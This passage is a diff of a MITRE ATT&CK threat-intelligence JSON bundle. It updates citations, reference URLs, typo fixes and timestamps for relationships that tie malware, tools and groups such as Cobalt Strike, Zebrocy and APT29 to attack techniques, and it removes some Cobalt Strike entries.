"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" }, @@ -62403,7 +64192,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2019-07-14T21:15:55.047Z", + "modified": "2021-03-29T19:43:26.795Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -62594,27 +64383,6 @@ "modified": "2020-03-28T00:35:24.675Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform pass the hash.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", - "type": "relationship", - "modified": "2019-06-06T19:04:39.283Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--51afbe4e-c5cd-4acd-b4e1-ff7877b78b9e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -62880,7 +64648,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -62889,7 +64657,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "type": "relationship", - "modified": "2019-07-14T21:15:55.046Z", + "modified": "2021-03-29T19:43:26.819Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -62924,19 +64692,19 @@ "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" }, { - "source_name": "DOJ APT10 Dec 2018", - "url": "https://www.justice.gov/opa/press-release/file/1121706/download", - "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], - "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: DOJ APT10 Dec 2018)", + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: District Court of NY APT10 Indictment December 2018)", "type": "relationship", - "modified": "2019-09-03T18:50:16.917Z", + "modified": "2020-12-17T19:58:21.439Z", "created": "2017-05-31T21:33:27.079Z" }, { @@ -63073,14 +64841,14 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.547Z", + "modified": "2021-03-29T19:54:46.122Z", "created": "2017-05-31T21:33:27.034Z" }, { @@ -63151,27 +64919,6 @@ "modified": "2020-02-18T03:45:39.876Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--cf7cd81f-3684-469f-936b-a6098ff76dbd", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) includes a capability to modify the \"beacon\" payload to eliminate known signatures or unpacking methods.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", - "type": "relationship", - "modified": "2019-06-06T19:04:39.284Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--66a13868-e416-49d4-85ad-318f93f91a29", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -63413,20 +65160,20 @@ { "id": "relationship--6216dadc-095e-4550-bc01-79c79fe614ba", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the systeminfo command to gather system information. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) collects the OS version, computer name and serial number for the storage volume C:\\. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the systeminfo command to gather system information. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "source_name": "Palo Alto Sofacy 06-2018", "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", - "source_name": "Palo Alto Sofacy 06-2018" + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" }, { - "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", - "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018." + "source_name": "Unit42 Cannon Nov 2018" }, { "source_name": "ESET Zebrocy Nov 2018", @@ -63434,26 +65181,31 @@ "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019." }, { - "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", - "source_name": "Unit42 Sofacy Dec 2018" + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019." }, { - "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", - "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019." + "source_name": "ESET Zebrocy May 2019" }, { - "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", - "source_name": "Accenture SNAKEMACKEREL Nov 2018" + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2019-07-17T01:18:32.598Z", + "modified": "2020-12-09T21:54:33.172Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -63816,14 +65568,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "type": "relationship", - "modified": "2020-03-19T21:48:30.392Z", + "modified": "2021-04-21T16:41:34.833Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -64085,7 +65837,7 @@ { "id": "relationship--138da0bb-befa-45cd-9ca4-c74b86ac61ff", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Briba](https://attack.mitre.org/software/S0204) uses rundll32 within [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060) entries to execute malicious DLLs.(Citation: Symantec Briba May 2012)", + "description": "[Briba](https://attack.mitre.org/software/S0204) uses rundll32 within [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) entries to execute malicious DLLs.(Citation: Symantec Briba May 2012)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -64096,12 +65848,12 @@ "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" } ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z", "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "relationship_type": "uses", - "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5" + "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", + "type": "relationship", + "modified": "2021-02-09T14:56:14.767Z", + "created": "2018-04-18T17:59:24.739Z" }, { "id": "relationship--25d4fa6d-4f88-4604-8b9f-cce6f3b5ae4d", @@ -64415,7 +66167,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -64423,7 +66175,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2019-04-24T16:39:53.963Z", + "modified": "2021-01-25T15:43:45.766Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -64666,7 +66418,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "type": "relationship", - "modified": "2020-10-07T18:10:06.580Z", + "modified": "2020-12-29T19:07:11.219Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -64721,14 +66473,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2020-05-14T15:14:33.564Z", + "modified": "2021-04-27T19:53:20.454Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -65450,7 +67203,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -65458,7 +67211,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2020-05-21T17:07:02.534Z", + "modified": "2021-03-29T19:50:54.232Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -65754,42 +67507,6 @@ "modified": "2020-03-16T16:41:06.916Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--1b51b49a-1f3a-4b5d-aea3-989e9ccb72ad", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can execute a payload on a remote host with PowerShell. This technique does not write any data to disk.(Citation: cobaltstrike manual)(Citation: Cyberreason Anchor December 2019) [Cobalt Strike](https://attack.mitre.org/software/S0154) can also use [PowerSploit](https://attack.mitre.org/software/S0194) and other scripting frameworks to perform execution.(Citation: Cobalt Strike TTPs Dec 2017)(Citation: CobaltStrike Daddy May 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - }, - { - "source_name": "Cyberreason Anchor December 2019", - "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", - "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020." - }, - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - }, - { - "source_name": "CobaltStrike Daddy May 2017", - "url": "https://blog.cobaltstrike.com/2017/05/23/cobalt-strike-3-8-whos-your-daddy/", - "description": "Mudge, R. (2017, May 23). Cobalt Strike 3.8 \u2013 Who\u2019s Your Daddy?. Retrieved June 4, 2019." - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", - "type": "relationship", - "modified": "2020-09-11T13:33:17.804Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--305ecc72-e820-44cb-ab52-593ccca814ff", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -65897,7 +67614,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "type": "relationship", - "modified": "2020-08-04T14:04:58.456Z", + "modified": "2021-04-12T18:27:52.602Z", "created": "2017-05-31T21:33:27.025Z" }, { @@ -66217,14 +67934,14 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.545Z", + "modified": "2021-03-29T19:54:46.313Z", "created": "2017-05-31T21:33:27.034Z" }, { @@ -66437,7 +68154,7 @@ "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" }, { - "url": "https://github.com/PowerShellEmpire/Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire" } @@ -66446,7 +68163,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2019-04-25T12:09:56.272Z", + "modified": "2021-04-09T14:46:58.824Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -66646,22 +68363,27 @@ { "id": "relationship--35f02c40-d46f-44fa-8ba2-5106357494b4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) encrypts C2 data with RC4 encryption.(Citation: US-CERT FALLCHILL Nov 2017)", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) encrypts C2 data with RC4 encryption.(Citation: US-CERT FALLCHILL Nov 2017)(Citation: CISA AppleJeus Feb 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A", "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", - "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + "source_name": "US-CERT FALLCHILL Nov 2017" + }, + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." } ], "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "relationship_type": "uses", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "type": "relationship", - "modified": "2020-03-27T20:45:20.265Z", + "modified": "2021-03-02T16:59:27.322Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -66803,7 +68525,7 @@ "source_name": "Novetta Blockbuster RATs" }, { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -66817,7 +68539,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "type": "relationship", - "modified": "2020-08-10T15:05:31.308Z", + "modified": "2020-12-11T17:47:22.783Z", "created": "2017-05-31T21:33:27.069Z" }, { @@ -66902,9 +68624,9 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", @@ -66916,7 +68638,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "type": "relationship", - "modified": "2020-03-17T14:16:24.046Z", + "modified": "2021-01-06T19:32:28.676Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -67149,22 +68871,32 @@ { "id": "relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT29](https://attack.mitre.org/groups/G0016) used WMI to steal credentials and execute backdoors at a future time.(Citation: Mandiant No Easy Breach)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used WMI to steal credentials and execute backdoors at a future time.(Citation: Mandiant No Easy Breach) They have also used WMI for the remote execution of files for lateral movement.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", - "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + "source_name": "Mandiant No Easy Breach" + }, + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." } ], "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "type": "relationship", - "modified": "2019-07-25T14:25:53.248Z", + "modified": "2021-04-16T20:29:18.498Z", "created": "2017-05-31T21:33:27.049Z" }, { @@ -67755,7 +69487,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" } @@ -67764,7 +69496,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "type": "relationship", - "modified": "2019-07-14T21:15:55.097Z", + "modified": "2021-03-29T19:43:26.799Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -67919,16 +69651,16 @@ { "id": "relationship--b1334535-019a-4d6a-88c1-8bb6741f152b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[meek](https://attack.mitre.org/software/S0175) uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended desitnation.", + "description": "[meek](https://attack.mitre.org/software/S0175) uses Domain Fronting to disguise the destination of network traffic as another server that is hosted in the same Content Delivery Network (CDN) as the intended destination.", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "type": "relationship", - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-01-16T16:13:52.465Z", "source_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830", "relationship_type": "uses", - "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2" + "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", + "type": "relationship", + "modified": "2021-02-09T23:00:38.761Z", + "created": "2018-01-16T16:13:52.465Z" }, { "id": "relationship--bc8f14a1-dc24-42cb-a0dd-3cc0c25d5eae", @@ -67983,14 +69715,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2020-03-16T17:51:39.996Z", + "modified": "2021-04-21T16:41:34.834Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -68159,7 +69891,7 @@ ], "external_references": [ { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -68183,7 +69915,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "type": "relationship", - "modified": "2020-09-22T16:38:56.294Z", + "modified": "2020-12-11T17:47:22.825Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -68435,7 +70167,7 @@ { "id": "relationship--573916d8-804d-4453-be37-e6b1865e87db", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) obfuscates API function names using a substitute cipher combined with Base64 encoding.(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) obfuscates API function names using a substitute cipher combined with Base64 encoding.(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -68517,9 +70249,9 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Trojan.Hydraq Jan 2010", @@ -68531,7 +70263,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2020-02-18T03:48:53.700Z", + "modified": "2021-01-06T19:32:28.687Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -69235,27 +70967,6 @@ "modified": "2020-05-18T19:37:52.430Z", "created": "2018-04-18T17:59:24.739Z" }, - { - "id": "relationship--dac7355a-9d13-4155-a053-d0c18fe92f53", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use Window admin shares (C$ and ADMIN$) for lateral movement.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - 